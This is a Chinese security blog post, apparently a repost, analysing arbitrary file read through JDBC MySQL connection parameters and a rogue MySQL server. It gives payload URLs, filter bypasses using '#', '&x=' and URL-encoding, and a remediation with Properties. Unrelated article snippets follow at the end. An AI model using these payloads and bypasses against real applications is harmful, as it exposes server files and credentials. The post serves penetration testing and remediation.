JDBC MySQL任意文件读取分析

JDBC MySQL任意文件读取分析

文章首发于知识星球-赛博回忆录。给主管打个广告,嘿嘿。
在渗透测试中,有些发起mysql测试流程(或者说mysql探针)的地方,可能会存在漏洞。在连接测试的时候通过添加allowLoadLocalInfileInPath,allowLoadLocalInfile,allowUrlInLocalInfile与伪造的服务器进行通信,造成任意文件读取。

完整payload:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360

以下是可以利用该漏洞的一些场景
在这里插入图片描述在这里插入图片描述在这里插入图片描述

一、端之间数据交互流程

简述一下客户端(被攻击端)与伪造mysql服务器的通信流程。通过wireshark进行抓包读取。

1.问候MySQL客户端
2.等待查询包(03)
3.回答本地数据文件请求tcp option(01 01 08 0a 58 77 5b a8 e9 1f b7 2d
)。前三个字节是数据包的大小(0b 00 00)。接下来的1个字节是数据包编号(01)。下一个字节是数据包类型(fb),然后是文件名(2f 65 74 63 2f 70 61 73 77 64 /etc/hosts)。

主要是数据包的类型字段fb,要求连接的主机将本地文件进行发送。
这两张图展示的是第三个数据包的各个字段。
在这里插入图片描述在这里插入图片描述

https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html

在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。

java端类的初始化变量

com.mysql.jdbc.NonRegisteringDriver#connect主要进行赋值的工作,根据url的内容解析为properties,并对connection这个基类进行赋值,进行初始化的工作。
在这里插入图片描述

二、连接参数设置

很多文章仅仅提到了两个可利用的参数。allowLoadLocalInfileInPath这个参数在8.0.22版本之后也是可以利用的。

文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取
allowLoadLocalInfile=true
allowUrlInLocalInfile=true 这两个参数类似

设置包大小参数
maxAllowedPacket=655360
在这里插入图片描述

参考:

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html

三、8.0.x和5.1.x版本的一些差异

通过这些差异我们能对后续参数的覆盖以及绕过黑名单的检测。

1、注释符差异

如果对jdbc的连接是对参数进行拼接,可以用注释符进行绕过或者多添加一个参数进行对参数值的覆盖,从而绕过该修复方案。

static String driverName = “com.mysql.cj.jdbc.Drive”;
@Test
public void getConnection1(HttpServletRequest request, HttpServletResponse response) {
try {
// 1、加载驱动
Class.forName(driverName);
// 2、获取connection
String jdbcUrl = request.getParameter(“jdbcUrl”);
Connection conn = DriverManager.getConnection(jdbcUrl + “&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false”);
System.out.println(conn);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
8.0.x
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#

8.0.x是可以使用注释符#来注释掉后面的内容。

8版本在解析connectionString的时候,最后一步query会根据正则匹配将#后面的注释部分去掉。
在这里插入图片描述

这样一来可以注释掉之后拼接的内容,覆盖后面想要赋值的变量。
在这里插入图片描述

完整的传入test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false进行对allowLoadLocalInfile,allowUrlInLocalInfile参数值的覆盖。

5.1.x
5.1.x 不可以使用注释符#来注释掉后面的内容,但是可以使用&x=来拼接后面的内容,比如下图这样就可以使用拼接来绕过。

test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=
在这里插入图片描述

2、参数名和参数值解析差异

这个方式主要是为了绕过对黑名单的检测,如果在传入payload的时候对这两个值进行校验。

如果黑名单检测的代码是这样写的,很有可能会存在绕过的问题。

public static boolean isValidUrl(String url){
if(url.contains(“allowLoadLocalInfile”)||url.contains(“allowUrlInLocalInfile”)||url.contains(“allowLoadLocalInfileInPath”)){
return false;
}
}

8.0.x

8.0.x是可以使用url编码的方式来对参数名和参数值进行编码。
在这里插入图片描述

jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65# 。allowUrlInLocalInfile,maxAllowedPacket这些字段都是可以url编码绕过的。

所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配,不然可能会造成黑名单绕过的问题。

5.1.x
仅仅参数值可以被编码。

jdbc:mysql://10.188.141.222:33067/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfile=%74%72%75%65
在properties中可以进行url编码,绕过对true的赋值。
在这里插入图片描述

所以5版本无法绕过对黑名单机制的检测。

四、关于fakeserver脚本的一些问题

推荐使用https://github.com/fnmsd/MySQL_Fake_Server来搭建恶意的mysql服务器。

有些连接的参数发出来是utf8mb4会遇到下面的报错:
在这里插入图片描述

通过抓取wireshark的流量,发现utf8的编码发出包的charset flag是21:
在这里插入图片描述

而utf8mb4发出来的编码集是45
在这里插入图片描述

所以上面报错的信息会显示不支持,是因为字符集没有被定义:

在flags.py添加一行定义即可。
在这里插入图片描述

五、修复方案

原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取以及URL读取了。

String driver = “com.mysql.jdbc.Driver”;
String DB_URL = “jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true”;
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty(“allowLoadLocalInfile”,“false”);
properties.setProperty(“allowUrlInLocalInfile”,“false”);
properties.setProperty(“allowLoadLocalInfileInPath”,“”);
Connection conn = DriverManager.getConnection(DB_URL,properties);

六、参考链接

https://paper.seebug.org/1112/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/116331.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Steam VR Plugin 2.7.3爬坑指南

因为项目有VR串流的需要,于是就用起了PicoSteam VR串流,真是一把心酸泪,坑还真不少。有些解决了,有些没有,等待后续更新或者有好心人指点一下啊,进入正题。 (1)导入插件之后&#xf…

2015年蓝桥杯省赛C/C++ A组 灾后重建题解(100分)

10. 灾后重建 Pear市一共有N&#xff08;<50000&#xff09;个居民点&#xff0c;居民点之间有M&#xff08;<200000&#xff09;条双向道路相连。这些居民点两两之间都可以通过双向道路到达。这种情况一直持续到最近&#xff0c;一次严重的地震毁坏了全部M条道路。 震后…

92 # express 中的中间件的实现

上一节实现 express 的优化处理&#xff0c;这一节来实现 express 的中间件 中间件的特点&#xff1a; 可以决定是否向下执行可以拓展属性和方法可以权限校验中间件的放置顺序在路由之前 中间件基于路由&#xff0c;只针对路径拦截&#xff0c;下面是中间件的匹配规则&#…

Spring Cloud Alibaba快速整合OpenFeign

文章目录 spring cloud alibaba 整合OpenFeign整合流程1.导入依赖2. 编写调用接口2.1 service&#xff08;这里写的是clients&#xff09;2.2 controller 3.设置其最大链接时间3.1 配置文件3.2 client3.3 接口3.4 被访问的controller spring cloud alibaba 整合OpenFeign Fore…

MySQL8.0版安装教程 + Workbench可视化配置教程(史上最细、一步一图解)

文章目录 一、安装MySQL1、选择版本&#xff0c;点击“Download”进行下载2、双击下载好的安装包&#xff0c;点击运行3、选择安装类型为“Custom”4、依次进行选择&#xff0c;选到MySQL Servers 8.0.33 -X64&#xff0c;点击向右的箭头5、选中MySQL Servers 8.0.33 -X64&…

Docker搭建DNS服务器--nouse

前言 DNS服务器是(Domain Name System或者Domain Name Service)域名系统或者域名服务,域名系统为Internet上的主机分配域名地址和IP地址。 安装 2.1 实验环境 IP 系统版本 角色 192.168.40.121 Ubuntu 22.10 DNS服务器 192.168.40.122 Ubuntu 22.10 测试机器 2.2 …

day03_基础语法

今日内容 零、复习昨日 一、Idea安装&#xff0c;配置 二、Idea使用 三、输出语句 四、变量 五、数据类型 附录: 单词 零、 复习昨日 1 装软件(typora,思维导图) 2 gpt(学会让他帮你解决问题) 3 java发展(常识) 4 HelloWorld程序 5 编码规范 6 安装jdk,配置环境变量 电脑常识 任…

Django的设计模式及模板层

Django的设计模式及模板层 设计模式MVC和MVT MVC 代表 Model-View-Controller(模型-视图-控制器)模式。 M 模型层(Model),主要用于对数据库层的封装 V 视图层(View),用于向用户展示结果 (WHAT HOW) C 控制(Controller&#xff0c;用于处理请求、获取数据、返回结果(重要) 作…

PHP8的类与对象的基本操作之成员变量-PHP8知识详解

成员变量是指在类中定义的变量。在类中可以声明多个变量&#xff0c;所以对象中可以存在多个成员变量&#xff0c;每个变量将存储不同的对象属性信息。 例如以下定义&#xff1a; public class Goods { 关键字 $name; //类的成员变量 }成员属性必须使用关键词进行修饰&#xf…

stm32之ADC

ADC是什么&#xff1f;模拟数字转换器&#xff08;Analog-to-Digital Converter&#xff09;。 一、ADC概述 stm32f013c8t6有两个ADC&#xff0c;精度为 12 位&#xff0c;每个 ADC 最多有 16 个外部通道、2个内部通道&#xff08;温度传感器、内部参考电压&#xff09;。实际s…

【Cpp】位图Bitmap

code #include <iostream> #include <vector> #include <stdio.h> #include <stdint.h>class Bitmap { private:std::vector<uint8_t> data; // 存储位图数据的字节数组uint32_t size; // 位图的大小&#xff08;以位为单位&#x…

大数据从入门到精通(超详细版)之Hive的案例实战,ETL数据清洗!!!

前言 嗨&#xff0c;各位小伙伴&#xff0c;恭喜大家学习到这里&#xff0c;不知道关于大数据前面的知识遗忘程度怎么样了&#xff0c;又或者是对大数据后面的知识是否感兴趣&#xff0c;本文是《大数据从入门到精通&#xff08;超详细版&#xff09;》的一部分&#xff0c;小…